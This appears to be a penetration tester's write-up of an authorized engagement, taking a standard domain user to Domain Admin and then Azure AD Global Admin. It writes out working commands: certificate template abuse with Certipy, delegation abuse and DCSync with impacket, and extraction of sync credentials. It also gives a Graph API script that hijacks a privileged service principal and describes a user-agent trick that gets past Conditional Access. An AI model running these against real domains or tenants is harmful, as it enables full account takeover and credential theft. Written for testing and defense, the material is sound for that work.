From Domain User to Domain Admin (DA), From DA to Global Admin (GA)

How to own an internal domain and pivot into the cloud

I completed a scenario based pen test recently, the idea was to see what could be achieved with a compromised user laptop. The laptop provided VPN access and a standard domain user account. Both the internal domain and Azure AD were in scope. The following is a step by step account of how I was able to compromise the internal domain and pivot into Azure AD gaining both domain and global administrator access. NOTE: content is heavily redacted but you should hopefully still be able to follow along.

Path to Domain Admin

Although a laptop was provided for the assesment I was able to extract the VPN configuration and connect via the OpenConnect client on my Ubuntu laptop. Being connected via the VPN meant all spoofing and relaying based attackers were off the table. No layer two traffic was available and it was not possible to get connections back to my machine from other client devices.

Once connected to the VPN I used CrackMapExec (CME) to query Active Directory and enumerate Active Directory Certificate Services (ADCS) to see if any certificate authorities (CA) are available with the aim of exploiting a vulnerable template.

Two CAs were found to be in use.

Certipy was used to enumerate the available templates.

certipy find -u shaun@adcs.local -p 'password'

A template was found to be vulnerable to a domain privilege escalation attack. The configuration allowed domain users to enrol new certificates using this template with an arbitrary SAN (AKA ESC1 in the Certified Pre-Owned whitepaper from Specterops). These certificates can then be used for client authentication within the domain. This means a standard domain user can request a certificate specifying another user in the SAN, including administrators - and use that certificate to impersonate them on the domain.

Certipy was then used request a certificate via this template for the built in "administrator" user.

certipy req -dc-ip 192.168.10.144 -u username -p 'password' -template <redacted> -ca "<redacted>" -upn administrator

Typically after obtaining a certificate allowing the impersonation of the domain administrator user, I would use the certificate to request a Kerberos ticket which could then more easily be used to interact with active directory and other services on the domain. However in this case the domain has not been configured for certificate to Kerberos authentication (PKINIT) and requests to obtain a Kerberos ticket returned the following error message.

$ certipy auth -pfx ./administrator.pfx -domain domain -username administrator -dc-ip 192.168.11.12
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@domain.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

It is possible to get around this limitation however via a Resource Based Constrained Delegation (RBCD) attack. I believe Pass The Cert can also be used in this situation.

Firstly I created a new computer account, which could be the beneficiary of the Kerberos delgation.

$ dimpacket addcomputer.py -computer-name 'shaun$' -computer-pass 'password' -dc-host DC -domain-netbios domain.local 'domain.local/user:password'
[*] Successfully added machine account shaun$ with password ... .

The previously obtained administrator certificate was then used via the bloodyad tool (which communicates over LDAP) to authenticate to Active Directory and configure RBCD allowing the newly created computer account (shaun$) to impersonate users on the Domain Controller.

$ bloodyad -d domain.local  -c ":$PWD/admin.pem" -u 'shaun$' --host 192.168.11.2 add rbcd 'DC$' 'shaun$'

This then allowed me to use impackets getST.py and request a Kerberos ticket (Silver Ticket?) impersonating the domain controller computer account.

$ getST.py -spn DNS/DC -impersonate 'DC$' -dc-ip 192.168.11.12 'domain.local/shaun$:password'

With Domain Controller permissions the TGT was then used to perform a DCSync with secrectsdump and obtain the NTLM hash for the Administrator user.

$ export KRB5CCNAME=/media/shaun/data/field-notes/client/loot/dc.ccache
$ python3 ./secretsdump.py -user-status -just-dc-ntlm -just-dc-user administrator 'domain.local/DC$@DC' -k -no-pass -dc-ip 192.168.11.12

As we know having the ntlm hash for a Domain Admin is pretty much as good as having the password. It was just a case then of passing the hash and taking full control of the domain.

The next port of call was looking for potential routes from on prem to the cloud, in this case Azure AD.

Path to Global Admin

Ldapdomaindump was used to obtain a dump of all domain user accounts. The existence of the user account MSOL_* indicated that AzureAD connect was in use and user accounts and hashes were being synced with AzureAD. The description for this account in AD also tells us the hostname of the AD connect server and also helpfully explains that the MSOL account has directory replication permissions in the domain, in order to sync hashes to AzureAD. This means if you didn't have DA, compromising the Azure AD connect server would effectively grant you it, as you could use the MSOL account to perform a DCsync and grab the hash for any DA user.

With the previously obtained domain administrator privileges it was possible to open a WinRM session on the Azure AD connect server. This server syncs all user information and password hashes between the on premise domain controllers and Azure AD in the cloud. This server, or more specifically the service accounts MSOL_* (on prem) and SYNC_* (Azure AD) used by this server require a high level of privileges in both the On Prem Active Directoryt and Azure AD.

The passwords for these accounts are stored on the machine and can be extracted using AADInternals PowerShell (Get-AADIntSyncCredentials).

As I said above the MSOL_* account can be used to retrieve credentials from Active Directory but more interestingly the Sync_* account can be used to reset the password of cloud synced users in Azure AD.

According to both Hacktricks and AADInernals it is possible to use the Sync_* account to change the password for cloud only users, however this appears to no longer be the case, when I attempted this I recieved the following error.

Since all of the administrative accounts in Azure AD were cloud only in this case, this meant alternative routes to GA needed to be considered.

Using the Sync account and the Azure AD powershell module I enumerated the service principles (enterprise applications) in Azure AD.

$passwd = ConvertTo-SecureString "password" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("Sync_xyz", $passwd)
Connect-AzureAD -Credential $creds
Get-AzureADServicePrincipal -all $true

The following PowerShell can also be used to find all service principales with Azure AD roles assigned

# Authenticate to the tenant
$username = "username@domain.com"
$password = 'YourVeryStrongPassword'
$SecurePassword = ConvertTo-SecureString $password -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($username, $SecurePassword)
Connect-AzureAD -Credential $Credential

$UserRoles = Get-AzureADDirectoryRole | ForEach-Object {
    $Role = $_
    $RoleDisplayName = $_.DisplayName
    $RoleMembers = Get-AzureADDirectoryRoleMember -ObjectID $Role.ObjectID

    ForEach ($Member in $RoleMembers) {
        $RoleMembership = [PSCustomObject]@{
            MemberName      = $Member.DisplayName
            MemberID        = $Member.ObjectID
            MemberOnPremID  = $Member.OnPremisesSecurityIdentifier
            MemberUPN       = $Member.UserPrincipalName
            MemberType      = $Member.ObjectType
            RoleID          = $Role.RoleTemplateId
            RoleDisplayName = $RoleDisplayName
        }
        $RoleMembership
    }
}
$UserRoles | ?{$_.MemberType -eq "ServicePrincipal"}

A service principal used by the Check Point security service was found to have the Global Administor role.

Using the permissions afforded by Sync user it was possible to use the MS Graph API to take ownership of the Check Point service principle and add a new password credential for it.

This was achieved using the following script, requires the tenant ID, Sync user credentials and the object ID of the target service principal.

# Change the following information to match your tenant
$TenantId = "id"
$AADUserUPN = "Sync@domain.onmicrosoft.com"
$AADUserPassword = "password"

#region Initial access using username and password of the Azure AD connect user
$body = @{
    client_id  = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
    scope      = "https://graph.microsoft.com/.default offline_access openid"
    username   = $AADUserUPN
    password   = $AADUserPassword
    grant_type = "password"
}

$connection = Invoke-RestMethod `
    -Uri https://login.microsoftonline.com/$($TenantId)/oauth2/v2.0/token `
    -Method POST `
    -Body $body

$AuthHeader = @{
    Authorization = "Bearer $($connection.access_token)"
}
#endregion

$ServicePrincipalToTakeover = "id" #objectid

Write-Output "Get basic information about the service principal and current user"
$AppInformation = Invoke-RestMethod -Method Get -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/servicePrincipals/$ServicePrincipalToTakeover"
$AADUser = Invoke-RestMethod -Method Get -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/users/$AADUserUPN"

Write-Output "Add current user as owner of application"
$Reference = @{ "@odata.id" = "https://graph.microsoft.com/beta/directoryObjects/" + $AADUser.id } | ConvertTo-Json
Invoke-RestMethod -Method Post -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/servicePrincipals/$ServicePrincipalToTakeover/owners/`$ref" -Body $Reference -ContentType "application/json" | Out-Null

Write-Output "Add new password based secret"
$NewCredential = Invoke-RestMethod -Method Post -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/servicePrincipals/$ServicePrincipalToTakeover/addPassword" -Body $Reference -ContentType "application/json"
write-host $NewCredential
Write-Output "Wait 10 seconds to allow new credentials to be propogated..."

Querying the service principle again with Azure AD PowerShell shows the new credential added.

And ownership taken.

These credentials were then used to authenticate to Azure AD as the Check Point service principal and utilise the Global Admin privileges.

The following Powershell commands were used to add a test user under my control to the Global Administrators role.

# connect to Azure AD with service principle password
$password = ConvertTo-SecureString 'secret' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('keyid', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant TenantId
Get-AzureADDirectoryRole
Add-AzureADDirectoryRoleMember -ObjectId RoleObjectID -RefObjectId UserObjectId

I now had a AzureAD user with the Global Admin role.

Bypassing Conditional Access (CA)

During the assessment CA policies meant that you could only connect to the Azure AD portal from a managed device.

However, this was easily bypassed by setting my browsers user againt to that of an iPhone 12.